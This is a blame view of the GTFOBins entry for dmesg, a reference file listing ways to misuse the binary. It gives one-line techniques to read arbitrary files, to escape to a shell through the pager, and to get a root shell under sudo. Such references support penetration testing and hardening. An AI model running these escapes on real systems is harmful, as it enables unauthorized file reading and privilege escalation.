GTFOBins.github.io/_gtfobins/dmesg.md

19 lines
530 B
Markdown
Raw Normal View History

2018-11-12 15:10:13 +01:00
---
functions:
2020-03-15 06:27:04 +01:00
file-read:
2020-03-15 12:49:34 +01:00
- description: This is not suitable for binary files.
code: |
2020-03-15 06:27:04 +01:00
LFILE=file_to_read
2020-03-15 12:49:34 +01:00
dmesg -rF "$LFILE"
2020-03-15 06:27:04 +01:00
shell:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
dmesg -H
!/bin/sh
sudo:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
2018-11-12 15:10:13 +01:00
sudo dmesg -H
!/bin/sh
---